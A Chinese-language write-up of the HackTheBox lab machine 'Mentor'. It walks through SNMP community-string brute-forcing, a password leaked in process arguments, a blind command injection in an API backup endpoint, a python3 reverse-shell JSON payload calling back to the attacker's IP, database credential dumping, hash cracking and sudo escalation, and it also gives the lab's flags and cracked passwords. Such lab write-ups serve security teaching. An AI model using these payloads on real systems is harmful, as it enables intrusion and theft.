HTB: Mentor — Medium (Linux)
| 靶機 |
Mentor |
| 作業系統 |
Linux (Ubuntu 22.04 jammy) |
| 難度 |
Medium |
| 目標 IP |
10.129.228.102(中途 reset,新 IP 10.129.122.22) |
| Kali IP |
10.10.15.48(tun0) |
| vhost |
mentorquotes.htb / api.mentorquotes.htb |
| 開放埠 |
22/tcp SSH · 80/tcp HTTP · 161/udp SNMP |
| user flag |
4dc24d9d18a85198dd471a7358350b0 |
| root flag |
a91d60522b8f17dd5c9ef0cd562a0452 |
攻擊鏈一句話:
SNMP 爆 v2c community string(internal)→ snmpbulkwalk 撈執行中程序命令列拿密碼 → FastAPI /auth/login 拿 JWT token → /admin/backup 指令注入拿容器 root → db.py 撈 DB 憑證 → psycopg2 dump hash 破解 → 密碼重用 SSH 上主機 → snmpd.conf 明文密碼 su james → sudo /bin/sh 到 root。
1. 偵察 Recon
1.1 TCP 全埠掃描
對目標一無所知,先用最快方式掃完 65535 個 TCP 埠拿到開放清單,再對開放埠深掃版本。
(root㉿kali)-[~/Desktop/HTB/Mentor]# nmap -p- –min-rate 10000 -oN allports.nmap 10.129.228.102
(root㉿kali)-[~/Desktop/HTB/Mentor]# nmap -p 22,80 -sCV -oN services.nmap 10.129.228.102

01 · 全埠掃描只有 22/80;版本掃 SSH 8.9p1(Ubuntu 22.04) + Apache 2.4.52,且 80 重導向 mentorquotes.htb
- 22/tcp OpenSSH 8.9p1 → Ubuntu 22.04 jammy,SSH 通常是「拿到帳密後的入口」。
- 80/tcp Apache 2.4.52,回應
Did not follow redirect to http://mentorquotes.htb/ → 用 vhost,需設 hosts。
- TCP 攻擊面很窄(SSH+單一 web),這種 Medium 的突破口十之八九在 UDP。
1.2 設定 vhost
(root㉿kali)-[~/Desktop/HTB/Mentor]# echo ‘10.129.228.102 mentorquotes.htb api.mentorquotes.htb’ | sudo tee -a /etc/hosts
📌 api. 子域是後面 ffuf 爆出來的,這裡先一併列上方便復現;實戰時先只加主域名,子域靠 fuzz 自己挖。
1.3 UDP 掃描(關鍵)
UDP 掃描慢又不可靠,正確做法是針對高價值服務點名掃。這裡做了一次全埠 UDP 掃驗證——結論跟 top-ports 一樣:只有 161 確定開著。
(root㉿kali)-[~/Desktop/HTB/Mentor]# sudo nmap -sU -p- –min-rate 10000 -oN udp-all.nmap 10.129.228.102

02 · UDP 全掃:161/udp open snmp 是唯一確定開放的埠,其餘為 open|filtered 噪音
💡 heuristic:UDP 先掃 top-ports 或點名高價值服務(SNMP 161、DNS 53、TFTP 69、SNMP/IKE/NTP…),命中就開打;只有在 TCP+UDP top 都榨乾時才回頭花時間做 UDP 全掃。
2. SNMP 列舉
2.1 預設 community string
SNMP 的 community string 像「帳號+密碼」合一,先試最常見的 public 建立基準線。
(root㉿kali)-[~/Desktop/HTB/Mentor]# snmpwalk -v2c -c public 10.129.228.102 | tee snmpwalk-public.txt

03 · public 只吐約 47 行系統基本資訊(被 view systemonly 限制),無密碼
public 被 view systemonly 限制,只看得到 .1.3.6.1.2.1.1 和 .25.1 兩棵子樹。
- 要看到更多,得爆出權限更大的 community string。
2.2 爆 community string(v2c)
onesixtyone 只撈到 public(它偏 SNMPv1,漏掉 v2c-only 的 string,詳見踩雷)。改用同時測 v1/v2c 的 snmpbrute.py。
(root㉿kali)-[~/Desktop/HTB/Mentor]# sudo git clone https://github.com/SECFORCE/SNMP-Brute.git /opt/SNMP-Brute
(root㉿kali)-[~/Desktop/HTB/Mentor]# python3 /opt/SNMP-Brute/snmpbrute.py -t 10.129.228.102

05 · snmpbrute.py 測 v2c 才撈到 internal (v2c)(RO) —— onesixtyone 完全漏掉它
✅ 拿到第二個 community string:internal(v2c、唯讀),視圖遠大於 public。
2.3 用 internal 撈整棵樹找密碼
用 snmpbulkwalk(GETBULK 批次,快約 10 倍)撈整棵,再 grep 執行中程序的命令列參數。
(root㉿kali)-[~/Desktop/HTB/Mentor]# snmpbulkwalk -v2c -c internal 10.129.228.102 | tee snmpwalk-internal.txt
(root㉿kali)-[~/Desktop/HTB/Mentor]# grep hrSWRunParameters snmpwalk-internal.txt | grep -iE ‘login|python|\.py|\.sh’

06 · hrSWRunParameters 洩漏 login.py 的命令列參數,尾端夾帶密碼 kj23sadkj123as0-d213
/usr/local/bin/login.py kj23sadkj123as0-d213 → 密碼當命令列參數傳給腳本,對 SNMP 全可見。
- 密碼到手,但缺「配哪個使用者」——答案在 api 子域的 API 文件裡。
💡 heuristic:SNMP 撈到後 →「看 hrSWRun 三兄弟(Name/Path/Parameters)+ 全份 grep -i pass/key/secret」。要找的不是特定檔名,是「自訂腳本 + 像密碼的亂碼」這個異常組合;系統標配(docker/containerd/systemd)一律當噪音。
3. Web / API 列舉
3.1 子域爆破
主站 mentorquotes.htb 沒料(gobuster 只有 server-status 403)。對 vhost 做子域爆破,先不加 -fw 看基準(所有不存在的子域回應都是 18 字),再用 -fw 18 濾掉。
(root㉿kali)-[~/Desktop/HTB/Mentor]# ffuf -u http://10.129.228.102/ -H “Host: FUZZ.mentorquotes.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fw 18

04 · ffuf 校準基準線後命中 api 子域(從 18 字海裡跳出來)
3.2 API 端點爆破
api 根回 404(FastAPI/uvicorn),靠爆破找端點,GET/POST 都試(API 端點常 POST 才有反應)。
(root㉿kali)-[~/Desktop/HTB/Mentor]# feroxbuster -u http://api.mentorquotes.htb –no-recursion –methods GET,POST -o ferox-api.txt

07 · 找到 /docs(200,Swagger)、/admin、/users、/quotes,以及 openapi.json
3.3 openapi.json 撈端點與使用者
/docs 是 JS 動態渲染,curl 抓空殼;改抓純資料的 openapi.json。
(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s http://api.mentorquotes.htb/openapi.json | jq ‘.paths | keys’

08 · 完整端點:/auth/login、/auth/signup、/users/、/users/add、/users/{id}/、/quotes/…
(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s http://api.mentorquotes.htb/openapi.json

09 · info.contact 洩漏 name=james、
[email protected];userSchema 需 email+username+password
💡 heuristic:curl 一個頁面 grep 不到預期內容時,先想「是不是 JS 動態渲染」——是的話 curl 只拿到空殼,改抓背後的資料來源(openapi.json、API 的 json)。拿到 Swagger 一定掃 info.contact、info.description、各端點 example。
4.1 登入拿 JWT token
(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s -X POST http://api.mentorquotes.htb/auth/login -H ‘Content-Type: application/json’ -d ‘{“email”:”[email protected]”,”username”:”james”,”password”:”kj23sadkj123as0-d213″}’

10 · 回傳 james 的 JWT token(payload 僅 username/email,後端按身分判 admin)
4.2 驗證 token + dump 使用者
把 token 存成變數重複用。注意這支 API 的坑:Authorization 裸放 token、不加 Bearer(加 Bearer 會 500)。
(root㉿kali)-[~/Desktop/HTB/Mentor]# TOKEN=$(curl -s -X POST http://api.mentorquotes.htb/auth/login -H ‘Content-Type: application/json’ -d ‘{“email”:”[email protected]”,”username”:”james”,”password”:”kj23sadkj123as0-d213″}’ | tr -d ‘”‘)
(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s http://api.mentorquotes.htb/users/ -H “Authorization: $TOKEN”
4.3 爆隱藏的 /admin/ 端點
/admin 不在 openapi.json(刻意藏的),針對這一層再爆一輪。
(root㉿kali)-[~/Desktop/HTB/Mentor]# feroxbuster -u http://api.mentorquotes.htb/admin/ –no-recursion –methods GET,POST -H “Authorization: $TOKEN” -o ferox-admin.txt

12 · /admin/backup(POST,422 需 body)與 /admin/check(GET,200)
4.4 問出參數 + 測指令注入
POST 空 body 讓 422 自曝欄位名,再給正常值建立基線。
(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s -X POST http://api.mentorquotes.htb/admin/backup -H “Authorization: $TOKEN” -H ‘Content-Type: application/json’ -d ‘{}’

13 · 422 錯誤自曝 body 欄位名 = path
(root㉿kali)-[~/Desktop/HTB/Mentor]# curl -s -X POST http://api.mentorquotes.htb/admin/backup -H “Authorization: $TOKEN” -H ‘Content-Type: application/json’ -d ‘{“path”:”/tmp”}’

14 · 任意路徑都回 {“INFO”:”Done!”} —— 不驗證輸入,疑拼進 shell 命令
端點不回顯命令輸出(盲注),用帶外 ICMP 驗證:終端 A 開 tcpdump 聽 ICMP,終端 B 送 ;ping; payload(前後都要分號)。
(root㉿kali)-[terminal A]# sudo tcpdump -i tun0 icmp
(root㉿kali)-[terminal B]# curl -s -X POST http://api.mentorquotes.htb/admin/backup -H “Authorization: $TOKEN” -H ‘Content-Type: application/json’ -d ‘{“path”:”;ping -c 3 10.10.15.48;”}’

15 · tcpdump 收到 target 的 3 個 ICMP echo request —— 盲指令注入確認成立
💡 heuristic:API 用錯誤碼反推——405 換方法、422 補參數(且會指名缺哪欄位)、401/403 補認證。端點不回顯時,盲指令注入用 ping+tcpdump 帶外驗證。
4.5 反向 shell 拿容器 root
這站是 Python 環境、很可能跑在精簡容器(bash 常失敗),用 python3 reverse shell。payload 引號多,寫進檔案再送,避開 shell 引號地獄。
(root㉿kali)-[terminal A]# nc -lvnp 9001
(root㉿kali)-[terminal B]# curl -s -X POST http://api.mentorquotes.htb/admin/backup -H “Authorization: $TOKEN” -H ‘Content-Type: application/json’ -d @rev.json
📌 第一次用 443 + rlwrap 踩了兩個雷、甚至把機器塞到要 reset(
詳見失誤與教訓)。reset 後 IP 變
10.129.122.22,以下截圖為重打後。

16 · 純 nc + port 9001 乾淨連回,容器內 whoami = root(來源 IP 已是 reset 後的 10.129.122.22)
5. 後滲透列舉
5.1 確認容器環境 + user flag
/app # hostname; id; hostname -i; ls /home; cat /home/svc/user.txt

18 · hostname 是 hash、IP 172.22.0.3 → 在 Docker 容器內;172.22.0.1 是閘道/宿主

17 · user flag 在 /home/svc/user.txt
user.txt → 4dc24d9d18a85198dd471a7358350b0
5.2 翻應用原始碼找 DB 憑證
拿下 web 容器,第一個翻「應用自己的原始碼/設定檔」——憑證常寫死在裡面。
/app # cat /app/app/db.py

19 · db.py 洩漏 DATABASE_URL = postgresql://postgres:
[email protected]/mentorquotes_db;users 表有 password 欄位
5.3 盤點工具 → python 直連 dump hash
DB 在宿主 172.22.0.1,Kali 連不到 Docker 內網。但先盤點容器工具,有現成客戶端就本機直連,不必架 tunnel。
/app # which psql python3 curl wget socat nc 2>/dev/null; python3 -c “import psycopg2; print(‘psycopg2 OK’)” 2>&1; python3 -c “import sqlalchemy; print(‘sqlalchemy’, sqlalchemy.__version__)” 2>&1

20 · 無 psql,但 python3 + psycopg2 OK → 省掉 chisel tunnel,直接 python 查 DB
/app # python3 -c “import psycopg2;c=psycopg2.connect(host=’172.22.0.1′,dbname=’mentorquotes_db’,user=’postgres’,password=’postgres’);cur=c.cursor();cur.execute(‘select id,email,username,password from users’);print(cur.fetchall())”

21 · dump users 表:james 與 service_acc 的 MD5 hash
| 使用者 |
MD5 hash |
| james |
7ccdcd8c05b59add9c198d492b36a503 |
| service_acc (svc) |
53f22d0dfa10dce7e29cd31f4f953fd8 |
💡 heuristic:chisel/socat tunnel 是 pivot 的 plan B。立足點若自帶能連目標的客戶端(psql、python+driver、mysql client),本機直接查最省事。ORM 的 response_model 藏欄位 ≠ DB 沒有。
6. 提權 Privilege Escalation
6.1 破 svc 的 MD5
(root㉿kali)-[~/Desktop/HTB/Mentor]# echo ’53f22d0dfa10dce7e29cd31f4f953fd8′ > svc.hash
(root㉿kali)-[~/Desktop/HTB/Mentor]# hashcat -m 0 svc.hash /usr/share/wordlists/rockyou.txt

22 · hashcat -m 0(MD5)+ rockyou 秒破:53f22…:123meunomeeivani
6.2 密碼重用 SSH 上主機
密碼重用——DB 裡的密碼直接是系統帳號密碼。SSH 逃出容器、上真主機。

23 · 用 123meunomeeivani 登入,拿到主機上乾淨的 svc@mentor shell
6.3 枚舉 → snmpd.conf 明文密碼
svc 不能 sudo、也無特權群組,轉找設定檔明文密碼。這台通篇 SNMP,主機的 snmpd.conf 是第一嫌疑。
svc@mentor:~$ id; sudo -l

24 · svc 不能 sudo、groups 只有 svc 本身(無 docker/lxd/disk)
svc@mentor:~$ cat /etc/snmp/snmpd.conf | grep -v “^#” | grep .

25 · createUser bootstrap MD5 SuperSecurePassword123__ DES(明文密碼);com2sec AllUser default internal 也解釋了 internal string 的來源
6.4 密碼重用 su james → sudo /bin/sh
這密碼不是 root 的(su - 失敗),但密碼重用常重用到「非 root 的另一個使用者」——試 james。
svc@mentor:~$ su james
james@mentor:~$ sudo -l
james@mentor:~$ sudo /bin/sh

26 · su james 成功 → sudo -l 顯示 (ALL) /bin/sh → sudo /bin/sh → id=root → root flag
root.txt → a91d60522b8f17dd5c9ef0cd562a0452
✅ Root!公網 SNMP 進、主機 SNMP 出,首尾呼應。
💡 heuristic:撿到任何明文密碼,按價值依序試:root → 其他已知使用者(枚舉中出現過的人名,這台 james 出現多次)→ 當前使用者 sudo。密碼重用是 Linux 提權最高頻的一招。
7. 失誤與教訓
❌ 踩雷 1:SNMP 工具偏 v1,漏掉 v2c-only 的 internal string
onesixtyone 只撈到 public;snmp-check 直接 SNMP request timeout;預設 snmpwalk 也打不到。
成因:這三個工具預設走 SNMPv1,而 internal 是 v2c-only,用 v1 去問等於「沒這 string」。
修法:用同時測 v1/v2c 的 snmpbrute.py;snmp-check 要加 -v 2c;snmpwalk/bulkwalk 明確帶 -v2c。
❌ 踩雷 2:rlwrap + pty.spawn 讓 reverse shell 滿是亂碼
第一次用 rlwrap nc 接 shell,每條命令前黏 ;8R 亂碼、sh: syntax error。
成因:payload 的 pty.spawn("sh") 已自帶 PTY,再套 rlwrap → 兩層終端處理撞車,終端的游標查詢回應被當成鍵盤輸入。
修法:payload 已 pty.spawn 就用純 nc;要用 rlwrap 則 payload 改用不帶 pty 的 sh -i。兩者擇一,不疊加。

27 · rlwrap+pty 衝突:命令前黏 ;8R 亂碼,sh 報 syntax error
❌ 踩雷 3:reverse shell「curl hang 但 nc 沒收」→ 機器被塞到要 reset
換純 nc 後第一次連不上:curl 卡住不回 Done、nc 卻沒收到連線。反覆嘗試後連基本的 /tmp 請求都 hang。
成因:前一次嘗試的殘留卡住連線;多個 hang 的 reverse shell 進程把 uvicorn worker 塞滿。
修法:別戳同一 port,換全新 port(443→9001)重連。確診機器死活:送 path=/tmp 看回不回 Done——不回才 reset。reset 後 IP 從 228.102 變 122.22(string/密碼固定,枚舉免重跑)。

28 · 連 /tmp 基本請求都 hang → 後端被塞滿,判定需 reset
💡 三句話帶走:①「看到 SNMP → 爆 v2c string(別只用 onesixtyone)+ 撈 hrSWRun* 找命令列密碼 + 讀 snmpd.conf 找明文密碼」;②「撿到任何明文密碼 → 試遍 /etc/passwd + 枚舉中出現過的每個人名」;③「盲指令注入 → ping + tcpdump 帶外驗證」。
{“path”:”;python3 -c ‘import os,pty,socket;s=socket.socket();s.connect((\”10.10.15.48\”,9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\”sh\”)’;”}